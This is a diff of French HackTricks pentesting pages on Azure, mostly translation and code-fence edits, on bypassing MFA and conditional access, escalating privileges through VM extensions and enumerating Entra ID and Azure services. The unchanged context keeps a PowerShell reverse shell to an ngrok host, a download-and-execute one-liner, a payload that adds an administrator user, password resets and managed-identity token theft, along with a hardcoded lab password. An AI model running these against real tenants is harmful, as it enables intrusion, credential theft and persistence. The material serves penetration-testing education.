src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
View File

@@ -50,7 +50,7 @@ Ou utiliser une [extension de navigateur comme celle-ci](https://chromewebstore.
Si cela est défini dans la politique conditionnelle, un attaquant pourrait simplement utiliser un **VPN** dans le **pays autorisé** ou essayer de trouver un moyen d'accéder depuis une **adresse IP autorisée** pour contourner ces conditions.
### Applications cloud
### Applications Cloud
Il est possible de configurer des **politiques d'accès conditionnel pour bloquer ou forcer** par exemple MFA lorsqu'un utilisateur essaie d'accéder à une **application spécifique** :
@@ -85,7 +85,7 @@ Une option Azure MFA est de **recevoir un appel au numéro de téléphone config
Les politiques demandent souvent un appareil conforme ou MFA, donc un **attaquant pourrait enregistrer un appareil conforme**, obtenir un **jeton PRT** et **contourner ainsi le MFA**.
Commencez par enregistrer un **appareil conforme dans Intune**, puis **obtenez le PRT** avec :
```powershell
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -106,7 +106,7 @@ Trouvez plus d'informations sur ce type d'attaque sur la page suivante :
Ce script récupère des identifiants d'utilisateur et vérifie s'il peut se connecter à certaines applications.
Ceci est utile pour voir si vous **n'êtes pas obligé de MFA pour vous connecter à certaines applications** que vous pourriez ensuite abuser pour **escalader les privilèges**.
Ceci est utile pour voir si vous **n'êtes pas obligé de MFA pour vous connecter à certaines applications** que vous pourriez ensuite abuser pour **escalader des privilèges**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -116,7 +116,7 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep est un script PowerShell qui tente de **se connecter à divers services Microsoft en utilisant un ensemble de credentials fournis et tentera d'identifier si MFA est activé**. Selon la façon dont les politiques d'accès conditionnel et d'autres paramètres d'authentification multi-facteurs sont configurés, certains protocoles peuvent finir par être laissés en facteur unique. Il dispose également d'une vérification supplémentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS sur site s'il est détecté.
MFASweep est un script PowerShell qui tente de **se connecter à divers services Microsoft en utilisant un ensemble de credentials fournis et tentera d'identifier si MFA est activé**. Selon la façon dont les politiques d'accès conditionnel et d'autres paramètres d'authentification multi-facteurs sont configurés, certains protocoles peuvent finir par être laissés en facteur unique. Il a également une vérification supplémentaire pour les configurations ADFS et peut tenter de se connecter au serveur ADFS sur site s'il est détecté.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
@@ -142,19 +142,19 @@ Donkey token est un ensemble de fonctions qui visent à aider les consultants en
</strong></code></pre>
**Testez chaque portail** s'il est possible de **se connecter sans MFA** :
```powershell
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Parce que le **portail** **Azure** n'est **pas contraint**, il est possible de **rassembler un jeton à partir de l'endpoint du portail pour accéder à tout service détecté** par l'exécution précédente. Dans ce cas, Sharepoint a été identifié, et un jeton pour y accéder est demandé :
```powershell
Parce que le **portail** **Azure** **n'est pas contraint**, il est possible de **rassembler un jeton à partir de l'endpoint du portail pour accéder à tout service détecté** par l'exécution précédente. Dans ce cas, Sharepoint a été identifié, et un jeton pour y accéder est demandé :
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Supposons que le jeton ait la permission Sites.Read.All (de Sharepoint), même si vous ne pouvez pas accéder à Sharepoint depuis le web en raison de MFA, il est possible d'utiliser le jeton pour accéder aux fichiers avec le jeton généré :
```powershell
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## Références

6
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
View File

@@ -4,9 +4,9 @@
## Informations de base
Les **groupes dynamiques** sont des groupes qui ont un ensemble de **règles** configurées et tous les **utilisateurs ou appareils** qui correspondent aux règles sont ajoutés au groupe. Chaque fois qu'un **attribut** d'utilisateur ou d'appareil est **modifié**, les règles dynamiques sont **vérifiées à nouveau**. Et lorsqu'une **nouvelle règle** est **créée**, tous les appareils et utilisateurs sont **vérifiés**.
Les **dynamic groups** sont des groupes qui ont un ensemble de **règles** configurées et tous les **utilisateurs ou appareils** qui correspondent aux règles sont ajoutés au groupe. Chaque fois qu'un **attribut** d'utilisateur ou d'appareil est **modifié**, les règles dynamiques sont **vérifiées à nouveau**. Et lorsqu'une **nouvelle règle** est **créée**, tous les appareils et utilisateurs sont **vérifiés**.
Les groupes dynamiques peuvent avoir des **rôles Azure RBAC assignés** à eux, mais il n'est **pas possible** d'ajouter des **rôles AzureAD** aux groupes dynamiques.
Les groupes dynamiques peuvent avoir des **rôles Azure RBAC assignés** à eux, mais il est **impossible** d'ajouter des **rôles AzureAD** aux groupes dynamiques.
Cette fonctionnalité nécessite une licence Azure AD premium P1.
@@ -23,7 +23,7 @@ Obtenez les groupes qui permettent l'adhésion dynamique : **`az ad group list -
Pour l'email de l'utilisateur invité, acceptez l'invitation et vérifiez les paramètres actuels de **cet utilisateur** dans [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Malheureusement, la page ne permet pas de modifier les valeurs des attributs, donc nous devons utiliser l'API :
```powershell
```bash
# Login with the gust user
az login --allow-no-subscriptions

12
src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
View File

@@ -49,7 +49,7 @@ az vm extension set \
{{#tab name="Windows" }}
- Exécuter un reverse shell
- Exécuter un shell inversé
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -79,7 +79,7 @@ az vm extension set \
Vous pouvez également exécuter d'autres charges utiles comme : `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Réinitialiser le mot de passe en utilisant l'extension VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -94,7 +94,7 @@ Il est également possible d'abuser des extensions bien connues pour exécuter d
<summary>Extension VMAccess</summary>
Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VMs Windows.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
C'est une **extension VM** qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour **exécuter des commandes arbitraires** dans les VMs Windows via cette extension :
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
<summary>Hybrid Runbook Worker</summary>
C'est une extension de VM qui permet d'exécuter des runbooks dans des VM à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-services/az-automation-account/index.html).
</details>
@@ -310,7 +310,7 @@ Connectez-vous via **SSH** avec **`az ssh vm --name <vm-name> --resource-group <
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Toutes ces permissions sont nécessaires pour **créer une VM avec une identité gérée spécifique** et laisser un **port ouvert** (22 dans ce cas). Cela permet à un utilisateur de créer une VM et de s'y connecter et de **voler des jetons d'identité gérée** pour élever les privilèges à celle-ci.
Toutes ces permissions sont nécessaires pour **créer une VM avec une identité gérée spécifique** et laisser un **port ouvert** (22 dans ce cas). Cela permet à un utilisateur de créer une VM et de s'y connecter et de **voler des jetons d'identité gérée** pour élever ses privilèges.
Selon la situation, plus ou moins de permissions peuvent être nécessaires pour abuser de cette technique.
```bash

6
src/pentesting-cloud/azure-security/az-services/README.md
View File

@@ -10,10 +10,10 @@ Vous pouvez trouver la liste des **portails Microsoft à** [**https://msportals.
#### API Azure via Powershell
Obtenez **access_token** à partir de **IDENTITY_HEADER** et **IDENTITY_ENDPOINT** : `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Obtenez le **access_token** à partir de **IDENTITY_HEADER** et **IDENTITY_ENDPOINT** : `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Ensuite, interrogez l'API REST Azure pour obtenir le **ID d'abonnement** et plus.
```powershell
Ensuite, interrogez l'API REST Azure pour obtenir le **subscription ID** et plus.
```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'

2
src/pentesting-cloud/azure-security/az-services/az-acr.md
View File

@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# List all ACRs in your subscription
Get-AzContainerRegistry

12
src/pentesting-cloud/azure-security/az-services/az-app-services.md
View File

@@ -22,15 +22,15 @@ Les applications ont quelques configurations intéressantes :
- **SSH** : Si activé, un utilisateur ayant suffisamment de permissions peut se connecter à l'application en utilisant SSH.
- **Débogage** : Si activé, un utilisateur ayant suffisamment de permissions peut déboguer l'application. Cependant, cela est désactivé automatiquement toutes les 48 heures.
- **Web App + Base de données** : La console web permet de créer une application avec une base de données. Dans ce cas, il est possible de sélectionner la base de données à utiliser (SQLAzure, PostgreSQL, MySQL, MongoDB) et cela vous permet également de créer un Azure Cache pour Redis.
- L'URL contenant les identifiants pour la base de données et Redis sera stockée dans les **appsettings**.
- **Conteneur** : Il est possible de déployer un conteneur sur l'App Service en indiquant l'URL du conteneur et les identifiants pour y accéder.
- L'URL contenant les informations d'identification pour la base de données et Redis sera stockée dans les **appsettings**.
- **Conteneur** : Il est possible de déployer un conteneur sur l'App Service en indiquant l'URL du conteneur et les informations d'identification pour y accéder.
- **Montages** : Il est possible de créer 5 montages à partir de comptes de stockage, qu'il s'agisse d'Azure Blob (Lecture seule) ou d'Azure Files. La configuration stockera la clé d'accès sur le compte de stockage.
## Authentification de base
Lors de la création d'une application web (et d'une fonction Azure généralement), il est possible d'indiquer si vous souhaitez **activer l'authentification de base** (désactivée par défaut). Cela **active essentiellement SCM (Source Control Manager) et FTP (File Transfer Protocol)** pour l'application, ce qui permettra de déployer l'application en utilisant ces technologies.
Pour accéder aux serveurs SCM et FTP, un **nom d'utilisateur et un mot de passe** sont requis. Par conséquent, Azure fournit certaines **API pour obtenir les URL** de ces plateformes et les identifiants.
Pour accéder aux serveurs SCM et FTP, un **nom d'utilisateur et un mot de passe** sont requis. Par conséquent, Azure fournit certaines **API pour obtenir les URL** de ces plateformes et les informations d'identification.
Le **serveur FTP n'a pas de magie spéciale**, avec l'URL valide, le nom d'utilisateur et le mot de passe, il est possible de se connecter et d'obtenir des permissions de lecture et d'écriture sur l'environnement de l'application.
@@ -62,11 +62,11 @@ Les App Services permettent de télécharger le code sous forme de fichier zip p
- Vous pouvez obtenir les jetons d'authentification en exécutant `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
- Azure configurera par défaut une **action Github** pour déployer le code sur l'App Service chaque fois que le code est mis à jour.
- Il est également possible d'indiquer un **dépôt git distant** (avec nom d'utilisateur et mot de passe) pour obtenir le code à partir de là.
- Vous pouvez obtenir les identifiants pour le dépôt distant en exécutant `az webapp deployment source show --name <app-name> --resource-group <res-group>` ou `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Vous pouvez obtenir les informations d'identification du dépôt distant en exécutant `az webapp deployment source show --name <app-name> --resource-group <res-group>` ou `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Il est également possible d'utiliser un **dépôt Azure**.
- Il est également possible de configurer un **dépôt git local**.
- Vous pouvez obtenir l'URL du dépôt git avec `az webapp deployment source show --name <app-name> --resource-group <res-group>` et ce sera l'URL SCM de l'application.
- Pour le cloner, vous aurez besoin des identifiants SCM que vous pouvez obtenir avec `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
- Pour le cloner, vous aurez besoin des informations d'identification SCM que vous pouvez obtenir avec `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
## Webjobs
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services

4
src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
View File

@@ -4,7 +4,7 @@
## Informations de base
[Depuis la documentation :](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
Le proxy d'application d'Azure Active Directory fournit un **accès à distance sécurisé aux applications web sur site**. Après un **authentification unique à Azure AD**, les utilisateurs peuvent accéder à la fois aux **applications cloud** et **sur site** via une **URL externe** ou un portail d'application interne.
@@ -20,7 +20,7 @@ Cela fonctionne comme suit :
6. La **réponse** est envoyée via le connecteur et le service de proxy d'application **à l'utilisateur**.
## Énumération
```powershell
```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

4
src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
View File

@@ -4,7 +4,7 @@
## Informations de base
[Selon la documentation :](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Pour mettre en œuvre **l'infrastructure en tant que code pour vos solutions Azure**, utilisez les modèles Azure Resource Manager (modèles ARM). Le modèle est un fichier JavaScript Object Notation (**JSON**) qui **définit** l'**infrastructure** et la configuration de votre projet. Le modèle utilise une syntaxe déclarative, ce qui vous permet d'indiquer ce que vous souhaitez déployer sans avoir à écrire la séquence de commandes de programmation pour le créer. Dans le modèle, vous spécifiez les ressources à déployer et les propriétés de ces ressources.
[Dans la documentation :](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Pour mettre en œuvre **l'infrastructure en tant que code pour vos solutions Azure**, utilisez les modèles Azure Resource Manager (modèles ARM). Le modèle est un fichier JavaScript Object Notation (**JSON**) qui **définit** l'**infrastructure** et la configuration de votre projet. Le modèle utilise une syntaxe déclarative, ce qui vous permet d'indiquer ce que vous souhaitez déployer sans avoir à écrire la séquence de commandes de programmation pour le créer. Dans le modèle, vous spécifiez les ressources à déployer et les propriétés de ces ressources.
### Historique
@@ -13,7 +13,7 @@ Si vous pouvez y accéder, vous pouvez avoir **des informations sur les ressourc
## Recherche d'informations sensibles
Les utilisateurs ayant les autorisations `Microsoft.Resources/deployments/read` et `Microsoft.Resources/subscriptions/resourceGroups/read` peuvent **lire l'historique des déploiements**.
```powershell
```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>

18
src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
View File

@@ -9,22 +9,22 @@ Les comptes d'automatisation Azure sont des services basés sur le cloud dans Mi
### Paramètres
- **Identifiants** : Le mot de passe n'est accessible que dans un runbook à l'intérieur du compte d'automatisation, il est utilisé pour **stocker les noms d'utilisateur et les mots de passe en toute sécurité**.
- **Variables** : Utilisées pour stocker des **données de configuration** qui peuvent être utilisées dans les runbooks. Cela pourrait également inclure des informations sensibles comme des clés API. Si la variable est **stockée de manière chiffrée**, elle n'est disponible que dans un runbook à l'intérieur du compte d'automatisation.
- **Variables** : Utilisées pour stocker des **données de configuration** qui peuvent être utilisées dans les runbooks. Cela pourrait également être des informations sensibles comme des clés API. Si la variable est **stockée de manière chiffrée**, elle n'est disponible que dans un runbook à l'intérieur du compte d'automatisation.
- **Certificats** : Utilisés pour stocker des **certificats** qui peuvent être utilisés dans les runbooks.
- **Connexions** : Utilisées pour stocker des **informations de connexion** à des services externes. Cela pourrait contenir des **informations sensibles**.
- **Accès réseau** : Il peut être défini comme **public** ou **privé**.
### Runbooks & Jobs
Un Runbook dans Azure Automation est un **script qui exécute des tâches automatiquement** dans votre environnement cloud. Les runbooks peuvent être écrits en PowerShell, Python ou dans des éditeurs graphiques. Ils aident à automatiser des tâches administratives comme la gestion des VM, le patching ou les vérifications de conformité.
Un Runbook dans Azure Automation est un **script qui exécute des tâches automatiquement** dans votre environnement cloud. Les runbooks peuvent être écrits en PowerShell, Python ou éditeurs graphiques. Ils aident à automatiser des tâches administratives comme la gestion des VM, le patching ou les vérifications de conformité.
Dans le **code** situé à l'intérieur des **Runbooks** pourrait se trouver des **informations sensibles** (comme des identifiants).
Dans le **code** situé à l'intérieur des **Runbooks** pourrait contenir des **informations sensibles** (comme des identifiants).
Un **Job est une instance d'exécution d'un Runbook**. Lorsque vous exécutez un Runbook, un Job est créé pour suivre cette exécution. Chaque job comprend :
- **Statut** : En attente, En cours, Terminé, Échoué, Suspendu.
- **Sortie** : Le résultat de l'exécution du Runbook.
- **Heure de début et de fin** : Quand le job a commencé et a été terminé.
- **Heure de début et de fin** : Quand le job a commencé et s'est terminé.
Un job contient la **sortie** de l'exécution du **Runbook**. Si vous pouvez **lire** les **jobs**, faites-le car ils **contiennent** la **sortie** de l'exécution (potentiellement des **informations sensibles**).
@@ -61,14 +61,14 @@ Cependant, il est également possible de **créer vos propres environnements**,
### Groupes de travailleurs hybrides
Dans Azure Automation, l'environnement d'exécution par défaut pour les runbooks est le **Azure Sandbox**, une plateforme basée sur le cloud gérée par Azure, adaptée aux tâches impliquant des ressources Azure. Cependant, ce sandbox a des limitations, telles que l'accès restreint aux ressources sur site et des contraintes sur le temps d'exécution et l'utilisation des ressources. Pour surmonter ces limitations, des groupes de travailleurs hybrides sont employés. Un groupe de travailleurs hybrides se compose de **un ou plusieurs travailleurs de Runbook hybrides installés sur vos propres machines**, que ce soit sur site, dans d'autres environnements cloud ou des VM Azure. Cette configuration permet aux runbooks de s'exécuter directement sur ces machines, offrant un accès direct aux ressources locales, la capacité d'exécuter des tâches plus longues et plus gourmandes en ressources, et la flexibilité d'interagir avec des environnements au-delà de la portée immédiate d'Azure.
Dans Azure Automation, l'environnement d'exécution par défaut pour les runbooks est le **bac à sable Azure**, une plateforme basée sur le cloud gérée par Azure, adaptée aux tâches impliquant des ressources Azure. Cependant, ce bac à sable a des limitations, telles que l'accès restreint aux ressources sur site et des contraintes sur le temps d'exécution et l'utilisation des ressources. Pour surmonter ces limitations, des groupes de travailleurs hybrides sont employés. Un groupe de travailleurs hybrides se compose de **un ou plusieurs travailleurs de Runbook hybrides installés sur vos propres machines**, que ce soit sur site, dans d'autres environnements cloud ou des VM Azure. Cette configuration permet aux runbooks de s'exécuter directement sur ces machines, offrant un accès direct aux ressources locales, la capacité d'exécuter des tâches plus longues et plus gourmandes en ressources, et la flexibilité d'interagir avec des environnements au-delà de la portée immédiate d'Azure.
Lorsqu'un groupe de travailleurs hybrides est créé, il est nécessaire d'indiquer les **identifiants** à utiliser. Il y a 2 options :
- **Identifiants par défaut** : Vous n'avez pas besoin de fournir les identifiants et les runbooks seront exécutés à l'intérieur des VM en tant que **Système**.
- **Identifiants spécifiques** : Vous devez fournir le nom de l'objet d'identifiants à l'intérieur du compte d'automatisation, qui sera utilisé pour exécuter les **runbooks à l'intérieur des VM**. Par conséquent, dans ce cas, il pourrait être possible de **voler des identifiants valides** pour les VM.
Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur Hybride**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **Système** (technique de pivot intéressant).
Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur Hybride**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **Système** (technique de pivotement intéressante).
De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à **l'identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**.
@@ -78,11 +78,11 @@ De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identité
### Configuration d'état (SC)
>[!WARNING]
> Comme indiqué dans [la documentation](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la configuration d'état Azure Automation sera retirée le 30 septembre 2027 et remplacée par [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Comme indiqué dans [la documentation](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la configuration d'état d'Azure Automation sera retirée le 30 septembre 2027 et remplacée par [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Les comptes d'automatisation prennent également en charge la **Configuration d'état (SC)**, qui est une fonctionnalité qui aide à **configurer** et à **maintenir** l'**état** de vos VM. Il est possible de **créer** et **d'appliquer** des configurations DSC à des machines **Windows** et **Linux**.
Du point de vue des attaquants, cela était intéressant car cela permettait d'**exécuter du code PS arbitraire dans toutes les VM configurées**, permettant d'escalader les privilèges vers les identités gérées de ces VM, potentiellement en pivotant vers de nouveaux réseaux... De plus, les configurations pourraient contenir des **informations sensibles**.
Du point de vue des attaquants, cela était intéressant car cela permettait d'**exécuter du code PS arbitraire dans toutes les VM configurées**, permettant d'escalader les privilèges aux identités gérées de ces VM, potentiellement en pivotant vers de nouveaux réseaux... De plus, les configurations pourraient contenir des **informations sensibles**.
## Énumération
```bash
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

98
src/pentesting-cloud/azure-security/az-services/az-azuread.md
View File

@@ -4,9 +4,9 @@
## Informations de base
Azure Active Directory (Azure AD) sert de service basé sur le cloud de Microsoft pour la gestion des identités et des accès. Il est essentiel pour permettre aux employés de se connecter et d'accéder aux ressources, tant au sein qu'en dehors de l'organisation, englobant Microsoft 365, le portail Azure et une multitude d'autres applications SaaS. La conception d'Azure AD se concentre sur la fourniture de services d'identité essentiels, incluant principalement **l'authentification, l'autorisation et la gestion des utilisateurs**.
Azure Active Directory (Azure AD) sert de service basé sur le cloud de Microsoft pour la gestion des identités et des accès. Il est essentiel pour permettre aux employés de se connecter et d'accéder aux ressources, tant au sein qu'en dehors de l'organisation, englobant Microsoft 365, le portail Azure et une multitude d'autres applications SaaS. La conception d'Azure AD se concentre sur la fourniture de services d'identité essentiels, incluant notamment **l'authentification, l'autorisation et la gestion des utilisateurs**.
Les fonctionnalités clés d'Azure AD impliquent **l'authentification multi-facteurs** et **l'accès conditionnel**, en plus d'une intégration transparente avec d'autres services de sécurité Microsoft. Ces fonctionnalités élèvent considérablement la sécurité des identités des utilisateurs et permettent aux organisations de mettre en œuvre et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème des services cloud de Microsoft, Azure AD est essentiel pour la gestion des identités des utilisateurs basée sur le cloud.
Les fonctionnalités clés d'Azure AD incluent **l'authentification multi-facteurs** et **l'accès conditionnel**, ainsi qu'une intégration transparente avec d'autres services de sécurité Microsoft. Ces fonctionnalités élèvent considérablement la sécurité des identités des utilisateurs et permettent aux organisations de mettre en œuvre et d'appliquer efficacement leurs politiques d'accès. En tant que composant fondamental de l'écosystème des services cloud de Microsoft, Azure AD est essentiel pour la gestion basée sur le cloud des identités des utilisateurs.
## Énumération
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
{{#endtab }}
{{#tab name="Mg" }}
```powershell
```bash
# Login Open browser
Connect-MgGraph
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -104,7 +104,7 @@ Get-Command *az*
{{#endtab }}
{{#tab name="Raw PS" }}
```powershell
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -154,7 +154,7 @@ Lorsque vous **vous connectez** via **CLI** à Azure avec n'importe quel program
Par exemple, un **script powershell** qui **s'authentifie** utilise une application avec l'identifiant client **`1950a258-227b-4e31-a9cf-717495945fc2`**. Même si l'application n'apparaît pas dans la console, un administrateur système pourrait **bloquer cette application** afin que les utilisateurs ne puissent pas y accéder en utilisant des outils qui se connectent via cette application.
Cependant, il existe **d'autres identifiants clients** d'applications qui **vous permettront de vous connecter à Azure** :
```powershell
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -295,20 +295,20 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtabs }}
#### Changer le mot de passe de l'utilisateur
```powershell
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
### MFA & Politiques d'Accès Conditionnel
### MFA & Conditional Access Policies
Il est fortement recommandé d'ajouter MFA à chaque utilisateur, cependant, certaines entreprises ne le mettront pas en place ou pourraient le configurer avec un Accès Conditionnel : L'utilisateur sera **tenu de faire MFA si** il se connecte depuis un emplacement, un navigateur ou **une condition spécifique**. Ces politiques, si elles ne sont pas configurées correctement, pourraient être sujettes à des **contournements**. Vérifiez :
Il est fortement recommandé d'ajouter MFA à chaque utilisateur, cependant, certaines entreprises ne le mettront pas en place ou pourraient le configurer avec un accès conditionnel : L'utilisateur sera **tenu de faire MFA si** il se connecte depuis un emplacement, un navigateur ou **une condition spécifique**. Ces politiques, si elles ne sont pas configurées correctement, pourraient être sujettes à des **bypasses**. Vérifiez :
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Groupes
### Groups
Pour plus d'informations sur les groupes Entra ID, consultez :
@@ -318,7 +318,7 @@ Pour plus d'informations sur les groupes Entra ID, consultez :
{{#tabs }}
{{#tab name="az cli" }}
```powershell
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
